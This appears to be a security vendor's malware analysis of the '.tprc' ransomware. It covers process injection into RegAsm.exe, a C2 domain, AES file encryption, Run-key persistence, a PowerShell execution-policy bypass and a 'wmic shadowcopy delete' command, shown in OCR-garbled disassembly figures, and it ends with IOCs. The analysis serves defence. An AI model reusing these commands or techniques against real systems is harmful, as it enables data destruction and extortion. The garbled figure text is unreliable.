The Phoenix Rises Again

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February 9, 2024

Remember '.tprc', the cyber scourge that sent shivers down spines in 2021? It seems this digital phoenix has risen from the ashes, reborn in a new, even more menacing form. December 2023 marks the unsettling return of '.tprc', not just a rehash of the old, but a cunning evolution that puts both individuals and organizations on high alert. Its victims haven't been spared: healthcare facilities and the education system had havoc, data loss and operational chaos.

It cunningly injects its malicious payload into host's regasm.exe and takes its data as hostage, encrypting files, exploiting vulnerabilities and leaving victims helpless until the ransom is paid. But there's light in the darkness, by understanding its anatomy – its encryption methods, communication channels, and preferred entry points – we can build defenses.

The ransomware sample in question is a .Net file and under its resource section with the name of 'TC0412.properties', the actual malicious payload exists as a PE file.

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Configuration Files	Offset	0 1 2 3	345	678	9 A B C D E	F Ascii
	000000C0	00 30 00 34	4 00 31	00 32 00	00 00 00 00 20 00 9	2 .0.4.1.2
	000000D0	00 00 4D 54	A 90 OO	03 00 00	00 04 00 00 00 FF F	Έ.ΜΖ.Οÿÿ
TC0412,Propertie	000000E0	00 00 B8 00	0 00 00	00 00 00	00 40 00 00 00 00 0	0
	000000F0	00 00 00 00	D 00 00	00 00 00	00 00 00 00 00 00 0	0
	00000100	00 00 00 00	0 00 00	00 00 00	00 00 00 00 00 F8 0	0
	00000110	00 00 0E 1	F BA OE	00 B4 09	CD 21 B8 01 4C CD 2	1 ºO.´.I!,OLI!
	00000120	54 68 69 73	3 20 70	72 6F 67	72 61 6D 2U 63 61 6	E This program can
	00000130	6E 6F 74 20	J 62 65	20 72 75	6E 2U 69 6E 2U 44 4	F not.be.run.in.DO
	00000140	53 20 6D 61	5 64 65	ZE UD UD	UA 24 UU UU UU UU U	
	00000150		3 D4 ID 7 DE 4E	59 AZ BA	4E 59 AZ BA 4E 59 A	2 AU YOMNYOMNYO
	00000160	DA 4E UD D.	/ DF 4F 7 D0 4E	F AZ DA	4E UD D7 DE 4F 55 A	2 0 N0 × 10 ² + 0 NDÚ 3 NU +
	00000170		/ D7 4F	5E AZ DA 56 33 D3	4E 50 DA 27 4E 57 A AF 59 X2 DD AF 2X X	$2 \qquad 0 \\ N = D_{10} O \\ C \\ O \\ N = D_{10} O \\ O $
	00000190	BA AF OF D	7 BE 4E	50 H2 DH	4E 37 HZ DD 4E 2H H AF 9F D7 A5 AF 58 A	
	00000140	BA 4E 9E D	7 B8 4F	58 Å2 BÅ	4E 52 69 63 68 59 Å	2 SN X OXeSNRichVe
	00000180	BA 4E 00 00	h ññ ññ			
	00000100		ñ ññ ññ	ññ ññ ññ	00 50 45 00 00 64 8	6 PE d
	00000100	1 07 00 88 9	1 AD A5	ññ ññ ññ	00 00 00 00 00 00 0	0 0 1 ma A
		Fig.1: '.tprc' ra	nsomwar	re payload in	Net Resources	

This .Net file creates the RegAsm.exe process in suspend mode to inject the 'TC0412' malicious PE file into the RegAsm.exe process.

Environment.SetEnvironmentVariable("99WYEXE". Assemb Proce.RunBytes(RuntimeEnvironment.GetRuntimeDirector	<pre>lv.GetExecutingAssembly().Location): y() + "RegAsm.exe", Resources.tc0412);</pre>
f (MativeFunctions.CreateProcess(null, OriPath, IntPtn.Zero, OntPtn.Zero, NativeStructs.CreateProcessFlags.CREATE_NEW_CONSOLE NativeStructs.Crea startupinfo, out process_INFORMATION))	false. teP <mark>ocessFlags.CREATE_SUSPENDED, IntPir</mark> Zero, null, ref
IntPtr hThread = process_INFORMATION.hThread; IntPtr hProcess = process INFORMATION.hProcess;	

Fig.2: Creating process RegAsm.exe in Suspend mode for injecting the 'TC0412' from resource

call	sub_1400020F0	
mov	rcx, rax	; hSession
lea	rdx, pswzServerM	Name ; "c3.yarttdn.de"
xor	r9d, r9d	; dwReserved
movzx	r8d, bx	; nServerPort
call	cs:WinHttpConnec	:t
	Fig.3: C2 co	nnection

Analysing the malicious file 'TC0412", we found that this malicious file tries to connect to the network of the domain given in Fig 3.

If that system has no internet connection, it returns a rax value as '1' which keeps ZF as '0' for 'test' instruction , which makes the flow of code exit the process execution at 'jne' instruction.

٠	000000013FC51449	E8 E20C0000	call tc0412.13FC52130	
	000000013FC5144E	85C0	test eax,eax	
	000000013FC51450	FOF85 39030000	jne tc0412.13FC5178F	
	000000013FC51456	48:8D0D 58560000	<pre>lea rcx,qword ptr ds:[13FC56AB8]</pre>	00000013FC56AB8:"encrypting"
	000000013FC5145D	48:899C24 30060000	mov gword ptr ss:[rsp+630],rbx	
	000000013FC51465	E8 C60C0000	call tc0412.13FC52130	
	000000013FC5146A	48:8B0D 17520000	mov rcx, qword ptr ds: [13FC56688]	000000013FC56688:&L"%USERPROFILE%
	000000013FC51471	48:8D95 F8000000	lea rdx, gword ptr ss: rbp+F8	
	000000125651479	41 · PP 00010000	mov red 100	

Fig.4: Takes jump to exit from process execution on JNE instruction

If not taking a jump, it once again gets into the same function which makes a C2C connection which we can see in Fig 4.

Loads the "%USERPROFILE%" string to rcx, and it is getting passed as an argument to load root directory.

48:8BOD 1	17520000 mov rcx,qword	1 ptr as:[13FC56688]	000000013FC566	588:&L"%USERPROFILE%"										
48:8D95 F	8000000 lea rdx,qword	d ptr ss:[rbp+F8]												
	Fig 5. Loads "%USERPROFILE%" to Rcx													
000000013FC51449	E8 E20C0000	call tc0412.13FC52130	-											
000000013FC5144E	85C0	test eax,eax												
00000013FC51450	✓F0F85 39030000	jne tc0412.13FC5178F												
000000013FC51456	48:8D0D 58560000	lea rcx,qword ptr_ds:[13FC	56AB8]	000000013FC56AB8:"encr	ypting"									
000000013FC5145D	48:899C24 30060000	mov_qword_ptr_ss:[rsp+630]	,rbx											
000000013FC51465	E8 C60C0000	call tc0412.13FC52130												
000000013FC5146A	48:8B0D 17520000	mov rcx, qword ptr ds: [13FC	56688]	000000013FC56688:&L"%U	SERPROFILE9									
• 00000013FC51471	48:8D95 F8000000	lea rdx,qword ptr ss:[rbp+	F8											
AII 000000012ECE1470	L 41.89 00010000	in 6: Dessing noth of Lloors Dr	ofilo											
	F	ig.o. Passing path of Users Pro	Jile											

By using NtQueryDirectoryFile API, it traverses through the file system, it checks if the file extension is in the inclusion list, then pass the file path to the encryption function in fig 8 which comes after traversing one folder.

text:00000001400018FE 4C 88 FF text:0000000140001901 48 89 44 24 20 text:0000000140001901 48 89 44 24 20 text:0000000140001906 FF 15 2C 4A 00 00 text:000000014000190C 49 C7 C6 FF FF FF text:0000000140001915 85 C0 text:0000000140001915 0F 85 60 01 00 00	mov mov call mov test jnz	<pre>r15, rdi qword ptr [rsp+760h+ShareAccess], rax ; IoStatusBlock cs:NtQueryDirectoryFile r14, 0FFFFFFFFFFFFh eax, eax loc_140001A78</pre>
	.text:	000000014000191B 48 8D 35 7E 4C 00 00 lea rsi, off_1400065A0; ".doc"
		Fig.7: Taking offset of inclusion list

INCLUSION LIST:

".doc",".doc",".xls",".xls",".xlsx",".ppt",".pptx",".odt",".ods",".jpg",".png",".gif",".pdf",".zip",".rar",".7z",".txt",".log",".mov",".avi",".mp4",".mp3",".wma",".wav","



After passing through the function it reads the file to encrypt and pass the address of file as argument to main encryption which is shown in the figure below

<pre>000000013F091283 00000013F091283 00000013F091289 000000013F091281 000000013F091291 000000013F091295 000000013F091295 000000013F091295</pre>	FF15 BF500000 85C0 • 0F85 61010000 8B7C24 68 48:8D4D B0 44:8BC7 48:8BD3	<pre>call qword ptr ds:[KdZwReadFiles] ine sample.13FD913F2 mov edi,dword ptr ss:[rsp+68] lea rcx,qword ptr ss:[rbp-50] mov r8d,edi</pre>
00000013FD9129F	E8 BC100000	call sample.13FD92360
00000013FD912A4	48:8B4C24 50	mov rex, qworu per ss. rsp+50

Fig.9: Reads the file to encrypt and passes to the call function

The following fig shows the address of the key stream and the file to be encrypted, being passed as arguments to the above function.

Default (x64 fastcall)	▼ 5	371FB0 50 371FC0 E7 371FD0 72	4B 0 AA 2 61 3	3 04 14 B 20 11 6 34 28	4 00 L 00 E 65	00 0 00 E 78 6	00 08 3A 24 55 D4	00 8 00 (5D (E9 3C DA 00 DB 7C	95 00 53	56 99 00 79 57 19	FE 61 4F	PKé<.V.þ çª+°\$ya ra64.exeÔ]. SW.0
rdx 000000000371FB0		371FE0 7B 371FF0 BB	03 4 55 3	4 DA 20 B D7 69) 45) 2F	EB E 48 2	EC B4 24 D1	42 E 64 8	36 64 30 7B	83 38	63 75 D9 D8	76	{.DÚ-Eềì'B¶d⁼cuv ≫U:xi/K\$Ñd.{:ÙØ.
r8 0000000000004000		17E220 D9 17E230 ED	BF B B2 B	8 5B 3/	A CE 5 00	E6 8	82 OC	3B / 58 1	A6 53 7830	42 68	97 26 AC CE	5 16 E BC	U¿.[:1æ;'SB.&. 1 ^{**} wXx0h-1%
[rsp+20] 00000000000017E1D0		17E240 49 17E250 CA	34 D 03 5	D 1E 73 3 39 CC	5 FA	38 S	9C 7F 89 88	C1 58	9D CF	3D D3	56 BE	B D 9	I4Ý.sú;Á.Ï=V»Ů Ê.S9Ì.S9»[+.Ó÷åµ
		1/2260 23	20 0	8 /8 50	11/	35 8	21	08 /	AE 28	12	80.12	12	#1.XF.54/0°+0

Fig.10: Arguments that are passed to the encryption function

On further analysis, we can find access to AES S-block for key expansion, so we can confirm that this ransomware is using the AES algorithm, which we can find in fig.11.

000000013FD92443 000000013FD92447 000000013FD92448	48:8049 04 0FB60418 8841 FC	<pre>movzx eax,byte ptr ds:[rcx+4] mov byte ptr ds:[rcx-4],al</pre>	<pre>xal fax=D9 '0' yte ptr ds:[rax+rbx*1]=[sample.000000013FD96C99]=35 '5'</pre>
	00 00 00 2B FE D7 AF 9C A4 F1 71 D8 E2 E8 27 B3 29 E3 39 4A 4C 7F 50 3C 21 10 FF 30 64 5D 14 DE 5E 62 91 95 EA 65 7A 1F 48 BD	00 00 63 7C 77 7B F2 6B 6F C5 3 AB 76 CA 82 C9 7D FA 59 47 FO 3 72 CO 87 FP 93 2C 18 FO 53 15 FO 73 60 63 FF FC 73 11 15 64 67 72 70 FA 53 64 76 72 70 FA 59 74 FC 23 13 14 14 15 14 14 14 15 14 14 14 14 14 14 14 14 14 15 15 15 15 15 15 15 16 15 15 15 16 15 15 15 16 16 16 16 16 16 16 16 16 16 16 15	30 01 67c[w{0k0A0.g AD D4 A2 + DxwVE.EjúvG0.0c 34 A5 E5rA^v.Sc7+14¥å 07 12 80 ngd1.c+A 53 sp.Ac.B341

Fig.11: Address pointing to AES S-block table

It then encrypts the 16 bytes of file data on every loop and stores that in memory address at location in fig.12 & fig.13.

 000000013FD9263/ 000000013FD9263/ 000000013FD9263/ 000000013FD9264/ 	42:0F864400 49:FFC1 41:3002 49:FFC2	ва movzx inc rs xor by inc rs	eax,byte ptr ss: t ro) /te ptr ds:[r10],al
Fig	.12: XOR operation	part of the encry	otion
C5 CF CE 00 3C E7 AA 28 20 11 72 61 36 34 2E 78 03 44 DA 2D BB 55 38 D7 69 15 14 28 03 AA	00 00 00 08 00 E9 00 00 BA 24 00 0A 65 78 65 D4 5D 0B 45 EB EC B4 42 B6 2F 4B 24 D1 64 80 4C 65 83 C1 74 F5 E1 20 2 F 00 10 10 10 10 10 10 10 10 10 10 10 10	3C 95 56 99 FE 00 00 00 79 61 7C 53 57 19 4F 64 83 63 75 76 78 38 D9 D8 18 AE 8A 6F 7C 4F	ÁÏÎé <v.þ çª+°\$ya ra64.exeð]. SW.O {.DÚ-Eð`ß¶d°cuv »U;xi/K\$Ňd.{;ÙØ. (.ªLe.Átð®.o O</v.þ

After doing all the job on file the encrypted file looks like below one,

371FB0	C5	CF	CE	00	3C	3C	C2	00	29	B9	D3	A4	9E	73	C6	AA	Aï1.< <a.)'ó¤.5ƪ< td=""></a.)'ó¤.5ƪ<>
371FC0	B9	E8	F4	1A	8D	5E	FO	78	94	CA	38	84	DD	89	C 0	C1	'èô^ðx.Ê8.Ý.ÀÁ
371FD0	28	64	C5	EA	F5	DC	E6	E3	04	07	F1	B8	E8	43	4E	74	(dÂêÕÜæãñ,èCNt
371FE0	25	52	F2	58	71	EA	12	1D	3D	DF	28	19	FE	56	F5	27	%Roxaê =B(bVô'
371FF0	AD	E0	0E	A6	2B	0B	B9	B2	C7	A3	DB	BA	11	4D	BA	02	.a.:+.'≖C£Ů°.M°.
372000	10	DD	97	13	B4	9C	BB	AB	B9	AD	FC	2A	65	B1	14	2D	.Ý′.»«'.ü*e±
372010	6C	05	6A	DA	D8	CF	CA	FO	01	35	1A	A5	81	BD	AO	SF	1.iúØÏÊð.5.¥.½
372020	C7	6D	D8	E5	70	28	5A	15	E1	6A	E2	19	91	СВ	AC	63	CmØåp(Z.ájâˬC
372030	F7	AC	33	99	CE	4B	12	43	C2	86	E2	FE	AO	49	26	46	÷-3.ÌK.CA.âb I&F
372040	45	92	37	32	5A	7C	EB	BA	58	0B	BB	95	D5	48	46	60	E.72Z ë°X.».ÔHF
372050	OB	26	8C	7F	F4	D5	55	3B	35	62	48	F3	E6	3D	BO	BC	.&ôÔU;5bHóæ=°%
372060	2C	36	F3	5 F	9D	40	26	18	34	C6	CE	70	B9	2A	56	A1	.66@&.441p'*Vi
372070	76	E4	9F	EF	CO	79	B5	D9	4C	CD	F2	39	81	DE	6B	CF	vä.ïAvuÙLÍÒ9.ÞkÏ
372080	AF	Ε4	D7	6C	BB	0A	68	65	1E	FC	9F	CO	F1	AO	E8	5E	Täx1».he.ü.Añ è^
372090	B7	C9	4E	F1	1D	35	29	5F	A8	95	7D	E8	57	6B	03	B 8	•ÉNñ 5)}ewk
3720A0	84	72	50	7E	2C	56	7D	9A	06	8D	46	6A	51	E5	В9	48	.rP~.VÌFiOâ'H
13720B0	64	E3	18	1E	E7	9A	58	5A	09	BB	BD	28	52	97	94	F9	dãc.XZ.»½(Rù
3720C0	0A	DE	E1	F4	5D	74	F3	B 7	83	E5	06	4E	7E	5F	1D	79	.Þáôĺtó∙.å.Ň~ .v
3720D0	AC	A8	90	7A	93	92	09	A3	63	E4	D8	DF	D6	98	65	90	¬ .z£cäØßÖ.e.
13720E0	D6	9D	6C	84	75	79	21	CC	OB	22	7C	84	14	FA	D2	07	ö.l.uv!ì." úò.
3720F0	DE	48	84	AD	5E	0B	C 0	24	B6	A6	1F	8D	4F	92	62	AB	PH ^ A\$1 . O b«
372100	B2	4B	C7	F9	9D	47	FD	56	4E	BD	A3	45	3D	97	22	94	*KCù.GÝVN½£E=.".
372110	33	2B	E6	60	FC	1A	82	76	A9	3B	CF	FB	67	3E	E1	4F	3+æ`üv⊜:ïûg>á0
						F	ia 1	4.	File	aft	er e	ncr	vnti	on			
							· 9·			~10	·· ·		, , , ,	~			

It then writes at the end of every encrypted file, a data which is size of 48 bytes which may be used as the key for decryption, which looks as in fig.15 and it changes the extension of encrypted file to .tprc as shown in fig.16.

0021E4E0	65	A8	ЗF	99	33	1F	E9	72	D6	F8	5D	F9	45	79	CD	CA	e"?™3.ėrOø]ùEyI
0021E4F0	D1	1E	43	36	16	FF		7F	ΕO		53	AE	Β7	C7	EE	70	Ñ.C6.ÿ`.àkS®∙Çî
0021E500	19		01				24		92	96		DE	CF			02	.E\$M'-^ÞÏÕ]
0021E510	15		$^{\rm AD}$	AF	C9	AЗ	F9	7C		96				00			.Ð. É£ù

Fig.15: Size of 48 bytes that are added at the end of every encrypted file

4000133A	48	8B	05	BF	8C	00	00	mov	rax, cs:off_14000A000 ; ".tprc"
40001341	4 C	8D	05	38	55	00	00	lea	r8, aSS ; "%s%s"
40001348	4D	8B	CE					mov	r9, r14
L4000134B	48	89	44	24	20			mov	<pre>qword ptr [rsp+4A0h+ShareAccess], rax</pre>
40001350	BA	04	01	00	00			mov	edx, 104h ; BufferCount
40001355	C 6	85	60	01	00	00	01	mov	[rbp+3A0h+var_240], 1
L4000135C	48	8D	8D	74	01	00	00	lea	<pre>rcx, [rbp+3A0h+var_22C] ; Buffer</pre>
40001363	4C	89	BD	68	01	00	00	mov	[rbp+3A0h+var_238], r15
L4000136A	E8	41	09	00	00			call	sprintf_s_0
4000136F	85	CЮ						test	eax. eax
					Fi	g.1	6: Addi	ng exten	sion '.tprc' to file

On completing data encryption and changing the extension, it drops a file with the name "!Restore.txt" in that folder with help of NtCreateFile API and it writes the ransom note into it by NtWritefile API.

40001B1C 48 8B 05 E5 84 00 40001B23 4C 8D 05 86 4D 00 40001B2A 4D 8B CD	00 mov 00 lea mov	<pre>rax, cs:off_14000A008 ; TRESIDEL.txt r8, aSS_0 ; "%s\\%s" r9, r13 File Name</pre>					
.BB6 89 7D 00 .BB9 F3 0F 7F 45 08 .BBE FF 15 64 47 00 00 .BC4 85 C0 .BC6 75 56	mov movdqu call test jnz	[rbp+660h+var_678.Attribut xmmword ptr [rbp+660h+var_ cs:NtCreateFile eax, eax short loc_140001C1E					
01C04 48 8D 45 A8 01C08 48 89 44 24 20 01C0D FF 15 4D 47 00 00 01C13 48 8B 4C 24 68	lea mov call mov	<pre>rax, [rbp+660h+var_688] qword ptr [rsp+760h+<mark>ShareAccess</mark>], rax ; cs:NtWriteFile rcx, [rsp+760h+Handle] ; Handle</pre>					
<pre>'Attention! Your files have been encrypted.',0Ah</pre>							

Fig.17: Creating File for Ransom Note

It encrypts all the data that are present in "%UserProfile%" area and after doing that it sets the wallpaper "wp.png" as shown in fig.18.



Fig.18: Changing desktop wallpaper and its assembly code

0412.Pro

sample.exe.ti

On further analysis we can see the malware gains Persistence, by setting the registry value of

"Software\\Microsoft\\Windows\\CurrentVersion\\Run" for the location of "C:\\ProgramData\\00aaaa.exe" and it also makes persistence for Script that runs by using PowerShell command "C:\Windows\System32\Windows PowerShell\v1.0\powershell.exe -ep bypass %s" where the location for script was "C:\\ProgramData\\00aaaa.ps1".

4000163	3D	4C	8B	ØD	D4	89	00	00	mov	r9, cs:lpNewFileName
4000164	14	4C	8D	05	D5	53	00	00	lea	<pre>r8, Format ; "C:\\Windows\\System32\\WindowsPowerShel"</pre>
4000164	1B	ΒA	0 8	02	00	00			mov	edx, 208h ; BufferCount
4000165	50	48	8D	8D	00	03	00	00	lea	<pre>rcx, [rbp+520h+Data] ; Buffer</pre>
									Fig.19:	Loading Powershell script from file offset
5BC	4C	8D	05	F9	53	00	00		lea	r8, ValueName ; "00aaaa"
5C3	89	44	24	28					mov	[rsp+620h+cbData], eax ; cbData
5C7 -	48	8D	15	FA	53	00	00		lea	<pre>rdx, SubKey ; "Software\\Microsoft\\Windows\\CurrentVe"</pre>
5CE 4	48	89	4C	24	20				mov	<pre>[rsp+620h+lpData], rcx ; lpData</pre>
5D3 4	41	B9	01	00	00	00			mov	r9d, 1 ; dwType
5D9 4	48	C7	C1	01	00	00	80		mov	rcx, 0FFFFFFFF80000001h ; hKey
5E0	FF	15	1A	4A	00	00			call	cs:RegSetKeyValueA
									F	ig.20: Reg set value of Run entry

It then executes the code to make sure of deleting shadow copy using command 'wmic.exe shadow copy delete' that shown fig.21

```
lea
L6CA 48 8D 0D 5F 52 00 00
                                       rcx, aClearVss ; "clear vss..."
L6D1 E8 5A 0A 00 00
L6D6 0F 57 C0
                              call
                                       sub_140002130
                              xorps
                                       xmm0, xmm0
L6D9 C7 44 24 70 68 00 00 00
                                       [rsp+620h+StartupInfo.cb], 68h ; 'h'
                              mov
L6E1 33 C0
                                       eax, eax
                              xor
L6E3 48 8D 15 56 52 00 00
                                       rdx, CommandLine ; "wmic.exe shadowcopy delete"
                              lea
                                       dword ptr [rbp+520h+StartupInfo.hStdError+4], eax
L6EA 89 45 D4
                              mov
L6ED 45 33 C9
                              xor
                                       r9d, r9d
                                                        ; lpThreadAttributes
                                     Fig.21: Deleting backup files
```

With the increasing risk of ransomware attacks, it's important to take steps to protect your data. Using a reliable security solution like **K7 Total Security** and keeping it updated is crucial to defend against these threats.

loCs

Hash

Detection Name

96CE6FB0513AC8F9DBCE153F362D6C7D

Ransomware (005a7a3d1)